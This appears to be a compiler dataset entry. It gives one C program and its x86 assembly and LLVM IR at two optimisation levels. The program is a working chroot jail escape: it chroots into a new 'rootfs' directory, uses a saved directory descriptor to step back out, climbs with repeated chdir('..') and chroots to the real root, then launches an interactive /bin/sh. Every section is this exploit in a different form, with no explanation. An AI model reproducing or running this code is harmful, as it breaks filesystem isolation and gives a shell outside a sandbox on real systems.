#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int /*<<< orphan*/ st_mode;
};

/* Variables and functions */
scalar_t__ ENOENT;
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ S_ISDIR(int /*<<< orphan*/);
int /*<<< orphan*/ chdir(char *);
scalar_t__ chroot(char *);
int /*<<< orphan*/ close(int);
scalar_t__ errno;
scalar_t__ execl(char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int);
scalar_t__ fchdir(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *, ...);
scalar_t__ mkdir(char *, int);
int open(char *, int /*<<< orphan*/);
scalar_t__ stat(char *, struct stat *);
int /*<<< orphan*/ stderr;
char *strerror(scalar_t__);
int main() {
  int x;
  int done = 0;
  int dir_fd;
  struct stat sbuf;
  if (stat("rootfs", &sbuf) < 0) {
    if (errno == ENOENT) {
      if (mkdir("rootfs", 0755) < 0) {
        fprintf(stderr, "Failed to create %s - %s\n", "rootfs",
                strerror(errno));
        exit(1);
      }
    } else {
      fprintf(stderr, "Failed to stat %s - %s\n", "rootfs", strerror(errno));
      exit(1);
    }
  } else if (!S_ISDIR(sbuf.st_mode)) {
    fprintf(stderr, "Error - %s is not a directory!\n", "rootfs");
    exit(1);
  }
  if ((dir_fd = open(".", O_RDONLY)) < 0) {
    fprintf(stderr, "Failed to open \".\" for reading - %s\n", strerror(errno));
    exit(1);
  }
  if (chroot("rootfs") < 0) {
    fprintf(stderr, "Failed to chroot to %s - %s\n", "rootfs", strerror(errno));
    exit(1);
  }
  if (fchdir(dir_fd) < 0) {
    fprintf(stderr, "Failed to fchdir - %s\n", strerror(errno));
    exit(1);
  }
  close(dir_fd);
  for (x = 0; x < 1024; x++) {
    chdir("..");
  }
  chroot(".");
  if (execl("/bin/sh", "-i", NULL) < 0) {
    fprintf(stderr, "Failed to exec - %s\n", strerror(errno));
    exit(1);
  }
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
movl   $0x0,-0xc(%rbp)
lea    0xe23(%rip),%rdi
lea    -0x18(%rbp),%rsi
call   1090 <stat@plt>
cmp    $0x0,%rax
jge    12af <main+0xef>
mov    0x2dd9(%rip),%rax
mov    (%rax),%rax
mov    0x2dbf(%rip),%rcx
cmp    (%rcx),%rax
jne    126a <main+0xaa>
lea    0xdef(%rip),%rdi
mov    $0x1ed,%esi
call   1040 <mkdir@plt>
cmp    $0x0,%rax
jge    1265 <main+0xa5>
mov    0x2dac(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x1c(%rbp)
mov    0x2d98(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
mov    -0x1c(%rbp),%edi
mov    %rax,%rcx
lea    0xdba(%rip),%rsi
lea    0xdac(%rip),%rdx
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
jmp    12aa <main+0xea>
mov    0x2d67(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    0x2d53(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
mov    -0x20(%rbp),%edi
mov    %rax,%rcx
lea    0xd8f(%rip),%rsi
lea    0xd67(%rip),%rdx
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
jmp    12ed <main+0x12d>
mov    -0x18(%rbp),%edi
call   1060 <S_ISDIR@plt>
cmp    $0x0,%eax
jne    12e8 <main+0x128>
mov    0x2d11(%rip),%rax
mov    (%rax),%edi
lea    0xd69(%rip),%rsi
lea    0xd29(%rip),%rdx
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
jmp    12ed <main+0x12d>
mov    0x2cf4(%rip),%rax
mov    (%rax),%esi
lea    0xdb6(%rip),%rdi
call   10b0 <open@plt>
mov    %eax,-0x10(%rbp)
cmp    $0x0,%eax
jge    1347 <main+0x187>
mov    0x2cc3(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x24(%rbp)
mov    0x2caf(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
mov    -0x24(%rbp),%edi
mov    %rax,%rdx
lea    0xd23(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
lea    0xcb2(%rip),%rdi
call   1030 <chroot@plt>
cmp    $0x0,%rax
jge    139d <main+0x1dd>
mov    0x2c74(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
mov    0x2c60(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
mov    -0x28(%rbp),%edi
mov    %rax,%rcx
lea    0xcf9(%rip),%rsi
lea    0xc74(%rip),%rdx
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    -0x10(%rbp),%edi
call   10a0 <fchdir@plt>
cmp    $0x0,%rax
jge    13e8 <main+0x228>
mov    0x2c22(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x2c(%rbp)
mov    0x2c0e(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
mov    -0x2c(%rbp),%edi
mov    %rax,%rdx
lea    0xcc4(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    -0x10(%rbp),%edi
call   1070 <close@plt>
movl   $0x0,-0x8(%rbp)
cmpl   $0x400,-0x8(%rbp)
jge    141e <main+0x25e>
lea    0xca7(%rip),%rdi
call   1050 <chdir@plt>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    13f7 <main+0x237>
lea    0xc8e(%rip),%rdi
call   1030 <chroot@plt>
lea    0xc84(%rip),%rdi
lea    0xc85(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10e0 <execl@plt>
cmp    $0x0,%rax
jge    1484 <main+0x2c4>
mov    0x2b86(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x30(%rbp)
mov    0x2b72(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
mov    -0x30(%rbp),%edi
mov    %rax,%rdx
lea    0xc4d(%rip),%rsi
mov    $0x0,%al
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    -0x4(%rbp),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %rbx
push   %rax
lea    0xe36(%rip),%rdi
mov    %rsp,%rsi
call   1090 <stat@plt>
test   %rax,%rax
js     11ff <main+0x3f>
mov    (%rsp),%edi
call   1060 <S_ISDIR@plt>
test   %eax,%eax
jne    1233 <main+0x73>
mov    0x2dee(%rip),%rax
mov    (%rax),%edi
lea    0xe46(%rip),%rsi
lea    0xe06(%rip),%rdx
jmp    1353 <main+0x193>
mov    0x2dca(%rip),%rbx
mov    (%rbx),%rdi
mov    0x2db0(%rip),%rax
cmp    (%rax),%rdi
jne    1364 <main+0x1a4>
lea    0xde0(%rip),%rdi
mov    $0x1ed,%esi
call   1040 <mkdir@plt>
test   %rax,%rax
js     1384 <main+0x1c4>
mov    0x2dae(%rip),%rax
mov    (%rax),%esi
lea    0xe70(%rip),%rdi
call   10b0 <open@plt>
test   %eax,%eax
js     12cc <main+0x10c>
mov    %eax,%ebx
lea    0xda7(%rip),%rdi
call   1030 <chroot@plt>
test   %rax,%rax
js     12ed <main+0x12d>
mov    %ebx,%edi
call   10a0 <fchdir@plt>
test   %rax,%rax
js     130e <main+0x14e>
mov    %ebx,%edi
call   1070 <close@plt>
mov    $0x400,%ebp
lea    0xe28(%rip),%rbx
nopw   0x0(%rax,%rax,1)
mov    %rbx,%rdi
call   1050 <chdir@plt>
add    $0xffffffff,%ebp
jne    1290 <main+0xd0>
lea    0xe0f(%rip),%rdi
call   1030 <chroot@plt>
lea    0xe05(%rip),%rdi
lea    0xe06(%rip),%rsi
xor    %edx,%edx
call   10e0 <execl@plt>
test   %rax,%rax
js     132f <main+0x16f>
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret
mov    0x2d05(%rip),%rax
mov    (%rax),%ebx
mov    0x2cf4(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
lea    0xd6e(%rip),%rsi
jmp    134e <main+0x18e>
mov    0x2ce4(%rip),%rax
mov    (%rax),%ebx
mov    0x2cd3(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
lea    0xd72(%rip),%rsi
jmp    1379 <main+0x1b9>
mov    0x2cc3(%rip),%rax
mov    (%rax),%ebx
mov    0x2cb2(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
lea    0xd6e(%rip),%rsi
jmp    134e <main+0x18e>
mov    0x2ca2(%rip),%rax
mov    (%rax),%ebx
mov    0x2c91(%rip),%rax
mov    (%rax),%rdi
call   10d0 <strerror@plt>
lea    0xd72(%rip),%rsi
mov    %ebx,%edi
mov    %rax,%rdx
xor    %eax,%eax
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    0x2c6d(%rip),%rax
mov    (%rax),%ebx
call   10d0 <strerror@plt>
lea    0xca8(%rip),%rsi
lea    0xc80(%rip),%rdx
mov    %ebx,%edi
jmp    13a5 <main+0x1e5>
mov    0x2c4d(%rip),%rax
mov    (%rax),%ebp
mov    (%rbx),%rdi
call   10d0 <strerror@plt>
lea    0xc6b(%rip),%rsi
lea    0xc5d(%rip),%rdx
mov    %ebp,%edi
mov    %rax,%rcx
xor    %eax,%eax
call   1080 <fprintf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>

LLVM IR (-O0):
%struct.stat = type { i32 }
@.str = [7 x i8] c"rootfs\00"
@errno = global i64 0
@ENOENT = global i64 0
@stderr = global i32 0
@.str.1 = [26 x i8] c"Failed to create %s - %s\0A\00"
@.str.2 = [24 x i8] c"Failed to stat %s - %s\0A\00"
@.str.3 = [32 x i8] c"Error - %s is not a directory!\0A\00"
@.str.4 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.5 = [37 x i8] c"Failed to open \22.\22 for reading - %s\0A\00"
@.str.6 = [29 x i8] c"Failed to chroot to %s - %s\0A\00"
@.str.7 = [23 x i8] c"Failed to fchdir - %s\0A\00"
@.str.8 = [3 x i8] c"..\00"
@.str.9 = [8 x i8] c"/bin/sh\00"
@.str.10 = [3 x i8] c"-i\00"
@.str.11 = [21 x i8] c"Failed to exec - %s\0A\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca i32
%3 = alloca i32
%4 = alloca i32
%5 = alloca %struct.stat
store i32 0, i32* %1
store i32 0, i32* %3
%6 = call i64 @stat(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), %struct.stat* %5)
%7 = icmp slt i64 %6, 0
br i1 %7, label %8, label %29
8: ; preds = %0
%9 = load i64, i64* @errno
%10 = load i64, i64* @ENOENT
%11 = icmp eq i64 %9, %10
br i1 %11, label %12, label %22
12: ; preds = %8
%13 = call i64 @mkdir(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 493)
%14 = icmp slt i64 %13, 0
br i1 %14, label %15, label %21
15: ; preds = %12
%16 = load i32, i32* @stderr
%17 = load i64, i64* @errno
%18 = call i8* @strerror(i64 %17)
%19 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %16, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %18)
%20 = call i32 @exit(i32 1)
unreachable
21: ; preds = %12
br label %28
22: ; preds = %8
%23 = load i32, i32* @stderr
%24 = load i64, i64* @errno
%25 = call i8* @strerror(i64 %24)
%26 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %23, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %25)
%27 = call i32 @exit(i32 1)
unreachable
28: ; preds = %21
br label %39
29: ; preds = %0
%30 = getelementptr inbounds %struct.stat, %struct.stat* %5, i32 0, i32 0
%31 = load i32, i32* %30
%32 = call i32 @S_ISDIR(i32 %31)
%33 = icmp ne i32 %32, 0
br i1 %33, label %38, label %34
34: ; preds = %29
%35 = load i32, i32* @stderr
%36 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %35, i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0))
%37 = call i32 @exit(i32 1)
unreachable
38: ; preds = %29
br label %39
39: ; preds = %38, %28
%40 = load i32, i32* @O_RDONLY
%41 = call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0), i32 %40)
store i32 %41, i32* %4
%42 = icmp slt i32 %41, 0
br i1 %42, label %43, label %49
43: ; preds = %39
%44 = load i32, i32* @stderr
%45 = load i64, i64* @errno
%46 = call i8* @strerror(i64 %45)
%47 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %44, i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.5, i64 0, i64 0), i8* %46)
%48 = call i32 @exit(i32 1)
unreachable
49: ; preds = %39
%50 = call i64 @chroot(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0))
%51 = icmp slt i64 %50, 0
br i1 %51, label %52, label %58
52: ; preds = %49
%53 = load i32, i32* @stderr
%54 = load i64, i64* @errno
%55 = call i8* @strerror(i64 %54)
%56 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %53, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %55)
%57 = call i32 @exit(i32 1)
unreachable
58: ; preds = %49
%59 = load i32, i32* %4
%60 = call i64 @fchdir(i32 %59)
%61 = icmp slt i64 %60, 0
br i1 %61, label %62, label %68
62: ; preds = %58
%63 = load i32, i32* @stderr
%64 = load i64, i64* @errno
%65 = call i8* @strerror(i64 %64)
%66 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %63, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.7, i64 0, i64 0), i8* %65)
%67 = call i32 @exit(i32 1)
unreachable
68: ; preds = %58
%69 = load i32, i32* %4
%70 = call i32 @close(i32 %69)
store i32 0, i32* %2
br label %71
71: ; preds = %76, %68
%72 = load i32, i32* %2
%73 = icmp slt i32 %72, 1024
br i1 %73, label %74, label %79
74: ; preds = %71
%75 = call i32 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.8, i64 0, i64 0))
br label %76
76: ; preds = %74
%77 = load i32, i32* %2
%78 = add nsw i32 %77, 1
store i32 %78, i32* %2
br label %71
79: ; preds = %71
%80 = call i64 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0))
%81 = call i64 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.9, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.10, i64 0, i64 0), i32* null)
%82 = icmp slt i64 %81, 0
br i1 %82, label %83, label %89
83: ; preds = %79
%84 = load i32, i32* @stderr
%85 = load i64, i64* @errno
%86 = call i8* @strerror(i64 %85)
%87 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %84, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.11, i64 0, i64 0), i8* %86)
%88 = call i32 @exit(i32 1)
unreachable
89: ; preds = %79
%90 = load i32, i32* %1
ret i32 %90
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@.str = [7 x i8] c"rootfs\00"
@errno = global i64 0
@ENOENT = global i64 0
@stderr = global i32 0
@.str.1 = [26 x i8] c"Failed to create %s - %s\0A\00"
@.str.2 = [24 x i8] c"Failed to stat %s - %s\0A\00"
@.str.3 = [32 x i8] c"Error - %s is not a directory!\0A\00"
@.str.4 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.5 = [37 x i8] c"Failed to open \22.\22 for reading - %s\0A\00"
@.str.6 = [29 x i8] c"Failed to chroot to %s - %s\0A\00"
@.str.7 = [23 x i8] c"Failed to fchdir - %s\0A\00"
@.str.8 = [3 x i8] c"..\00"
@.str.9 = [8 x i8] c"/bin/sh\00"
@.str.10 = [3 x i8] c"-i\00"
@.str.11 = [21 x i8] c"Failed to exec - %s\0A\00"
define i32 @main() {
%1 = alloca %struct.stat
%2 = bitcast %struct.stat* %1 to i8*
%3 = call i64 @stat(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), %struct.stat* %1)
%4 = icmp slt i64 %3, 0
br i1 %4, label %5, label %23
5: ; preds = %0
%6 = load i64, i64* @errno
%7 = load i64, i64* @ENOENT
%8 = icmp eq i64 %6, %7
br i1 %8, label %9, label %18
9: ; preds = %5
%10 = call i64 @mkdir(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i32 493)
%11 = icmp slt i64 %10, 0
br i1 %11, label %12, label %32
12: ; preds = %9
%13 = load i32, i32* @stderr
%14 = load i64, i64* @errno
%15 = call i8* @strerror(i64 %14)
%16 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %13, i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %15)
%17 = call i32 @exit(i32 1)
unreachable
18: ; preds = %5
%19 = load i32, i32* @stderr
%20 = call i8* @strerror(i64 %6)
%21 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %19, i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %20)
%22 = call i32 @exit(i32 1)
unreachable
23: ; preds = %0
%24 = getelementptr inbounds %struct.stat, %struct.stat* %1, i64 0, i32 0
%25 = load i32, i32* %24
%26 = call i32 @S_ISDIR(i32 %25)
%27 = icmp eq i32 %26, 0
br i1 %27, label %28, label %32
28: ; preds = %23
%29 = load i32, i32* @stderr
%30 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %29, i8* getelementptr inbounds ([32 x i8], [32 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0))
%31 = call i32 @exit(i32 1)
unreachable
32: ; preds = %23, %9
%33 = load i32, i32* @O_RDONLY
%34 = call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0), i32 %33)
%35 = icmp slt i32 %34, 0
br i1 %35, label %36, label %42
36: ; preds = %32
%37 = load i32, i32* @stderr
%38 = load i64, i64* @errno
%39 = call i8* @strerror(i64 %38)
%40 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %37, i8* getelementptr inbounds ([37 x i8], [37 x i8]* @.str.5, i64 0, i64 0), i8* %39)
%41 = call i32 @exit(i32 1)
unreachable
42: ; preds = %32
%43 = call i64 @chroot(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0))
%44 = icmp slt i64 %43, 0
br i1 %44, label %45, label %51
45: ; preds = %42
%46 = load i32, i32* @stderr
%47 = load i64, i64* @errno
%48 = call i8* @strerror(i64 %47)
%49 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %46, i8* getelementptr inbounds ([29 x i8], [29 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i64 0, i64 0), i8* %48)
%50 = call i32 @exit(i32 1)
unreachable
51: ; preds = %42
%52 = call i64 @fchdir(i32 %34)
%53 = icmp slt i64 %52, 0
br i1 %53, label %54, label %60
54: ; preds = %51
%55 = load i32, i32* @stderr
%56 = load i64, i64* @errno
%57 = call i8* @strerror(i64 %56)
%58 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %55, i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.7, i64 0, i64 0), i8* %57)
%59 = call i32 @exit(i32 1)
unreachable
60: ; preds = %51
%61 = call i32 @close(i32 %34)
br label %62
62: ; preds = %60, %62
%63 = phi i32 [ 0, %60 ], [ %65, %62 ]
%64 = call i32 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.8, i64 0, i64 0))
%65 = add nuw nsw i32 %63, 1
%66 = icmp eq i32 %65, 1024
br i1 %66, label %67, label %62
67: ; preds = %62
%68 = call i64 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0))
%69 = call i64 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.9, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.10, i64 0, i64 0), i32* null)
%70 = icmp slt i64 %69, 0
br i1 %70, label %71, label %77
71: ; preds = %67
%72 = load i32, i32* @stderr
%73 = load i64, i64* @errno
%74 = call i8* @strerror(i64 %73)
%75 = call i32 (i32, i8*, i8*, ...) @fprintf(i32 %72, i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.11, i64 0, i64 0), i8* %74)
%76 = call i32 @exit(i32 1)
unreachable
77: ; preds = %67
ret i32 0
}